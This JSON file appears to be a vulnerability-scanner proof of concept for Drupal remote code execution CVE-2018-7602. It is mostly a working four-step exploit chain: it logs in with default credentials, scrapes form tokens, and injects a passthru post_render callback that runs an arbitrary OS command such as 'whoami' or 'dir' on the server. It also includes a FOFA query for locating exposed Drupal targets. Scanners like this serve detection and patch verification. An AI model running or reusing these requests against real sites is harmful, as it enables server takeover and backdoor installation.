{
  "Name": "Drupal Core Remote Code Execution Vulnerability(CVE-2018-7602)",
  "Description": "A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.",
  "Product": "Drupal",
  "Homepage": "http://www.drupal.org/",
  "DisclosureDate": "2018-07-19",
  "Author": "mahui@gobies.org",
  "FofaQuery": "app=\"Drupal\"",
  "Level": "3",
  "Impact": "<p>黑客可在服务器上执行任意命令，写入后门，从而入侵服务器，获取服务器的管理员权限，危害巨大。</p>",
  "Recommendation": "<p>严格过滤用户输入的数据，禁止执行系统命令。</p>",
  "References": [
    "http://www.securityfocus.com/bid/103985",
    "http://www.securitytracker.com/id/1040754",
    "https://lists.debian.org/debian-lts-announce/2018/04/msg00030.html",
    "https://www.debian.org/security/2018/dsa-4180",
    "https://www.drupal.org/sa-core-2018-004",
    "https://www.exploit-db.com/exploits/44542/",
    "https://www.exploit-db.com/exploits/44557/",
    "https://nvd.nist.gov/vuln/detail/CVE-2018-7602",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7602"
  ],
  "HasExp": true,
  "ExpParams": [
	{
		  "name": "cmd",
		  "type": "input",
		  "value": "whoami"
	}
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "form_id=user_login&name=drupal&pass=drupal&op=Log+in",
        "data_type": "text",
        "follow_redirect": false,
		"header": {"Content-Type": "application/x-www-form-urlencoded"},
        "method": "POST",
        "uri": "/?q=user%2Flogin"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "302",
            "variable": "$code"
          },
		{
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "Set-Cookie",
            "variable": "$head"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
 	"SetVariable": ["session|lastheader|regex|Set-Cookie: (.*?); "]
    },
   {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": false,
		"header": {"Cookie": "{{{session}}}"},
        "method": "GET",
        "uri": "/?q=%2Fuser%2F1%2Fcancel"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
		{
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "form_token\" value=",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
 	"SetVariable": ["form_token|lastbody|regex|form_token\" value=\"(.*?)\" />"]
    },
   {
      "Request": {
		"set_variable": ["cmd|define|text|dir"],
        "data": "form_id=user_cancel_confirm_form&form_token={{{form_token}}}&_triggering_element_name=form_id&op=Cancel+account",
        "data_type": "text",
        "follow_redirect": false,
		"header": {
			"Cookie": "{{{session}}}",
			"Content-Type": "application/x-www-form-urlencoded"
		},
        "method": "POST",
        "uri": "/?q=%2Fuser%2F1%2Fcancel&destination=%2Fuser%2F1%2Fcancel%3Fq%5B%2523post_render%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B%2523markup%5D%3D{{{cmd}}}"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
		{
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "form_build_id\" value=",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      },
 	"SetVariable": ["form_build_id|lastbody|regex|form_build_id\" value=\"(.*?)\" />"]
    },
   {
      "Request": {
        "data": "form_build_id={{{form_build_id}}}",
        "data_type": "text",
        "follow_redirect": false,
		"header": {
			"Cookie": "{{{session}}}",
			"Content-Type": "application/x-www-form-urlencoded"
		},
        "method": "POST",
        "uri": "/?q=file%2Fajax%2Factions%2Fcancel%2F%23options%2Fpath%2F{{{form_build_id}}}"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
		{
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": ".php",
            "variable": "$body"
          },
		{
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": ".txt",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": null,
  "Tags": ["rce"],
  "CVEIDs": [
    "CVE-2018-7602"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": ["Drupal"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}